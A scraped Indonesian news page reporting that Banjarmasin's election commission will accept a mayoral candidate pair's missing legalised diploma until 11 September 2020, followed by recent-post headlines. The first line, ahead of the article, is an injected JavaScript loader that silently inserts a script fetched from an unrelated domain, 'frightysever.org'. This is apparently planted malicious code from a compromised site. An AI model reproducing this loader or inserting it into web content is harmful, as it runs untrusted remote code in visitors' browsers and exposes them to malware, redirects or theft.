(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

Legalisir Ijazah Jadi Persyaratan Calon, KPU: Masih Bisa Diperbaiki Hingga 11 September


KANALKALIMANTAN.COM, BANJARMASIN – Pendaftaran bakal pasangan calon Wali Kota dan Wakil Wali Kota Banjarmasin resmi dimulai sejak Jumat (9/4/2020). Salah satu bakal pasangan calon masih belum melengkapi berkas pendaftaran yakni legalisir ijazah yang menjadi salah satu persyaratan.

Namun, Ketua KPU Kota Banjarmasin Rahmiyati Wahdah meluruskan, itu hanyalah syarat bagi calon, yang artinya bukan sesuatu yang wajib.

“Yang kita cari keabsahan apakah benar.

Karena minimal ijazah adalah SMA.

Meskipun ada title S1 dan S2, tetap kita cari adalah SMA-nya. Apakah sesuai dengan fotokopi dan aslinya,” kata Rahmiyati di Banjarmasin, Jumat (4/9/2020) sore.

Sayangnya, ketika ditanya siapa bakal pasangan calon yang dimaksud, Rahmiyati mengaku tidak mengetahuinya. Namun demikian, Rahmiyati kembali menegaskan, lantaran merupakan syarat calon sehingga bukan sebuah kewajiban, atau dengan kata lain bukanlah syarat untuk pendaftaran bakal calon itu diterima atau ditolak.

“Legalisir pun nantinya diverifikasi dan cari tahu apakah benar. Nantinya kita akan verifikasi ke SMA-nya, apakah benar SMA mengeluarkan ijazah ini,” imbuhnya.

Kendati demikian, batas waktu untuk melengkapi berkas pendaftaran masih panjang, yaitu hingga 11 September mendatang. “Apapun hasilnya dari pendaftaran hari ini, kita berikan tanda terimanya. Nantinya kita akan verifikasi lagi, dan itulah nantinya syarat untuk menetapkan. Karena ada syarat untuk verifikasi perbaikannya lagi,” terangnya.

Terpisah, Ketua Bawaslu Kota Banjarmasin Muhammad Yasar menegaskan, berkas pendaftaran yang lengkap merupakan syarat wajib. Akan tetapi, jika ada yang kurang -seperti legalisir ijazah belum lengkap- dapat dilengkapi di masa perbaikan.

“Iya, kalau tidak dilengkapi (hingga tenggat waktu) bisa jadi TMS (tidak memenuhi syarat). Jadi harus dilengkapi. (Untuk legalisir ijazah) sementara tidak ada masalah. Doakan lancar, mudah-mudahan tidak ada sengketa,” pungkas Yasar. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

8 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

9 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

11 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

14 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

17 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

17 jam ago

This website uses cookies.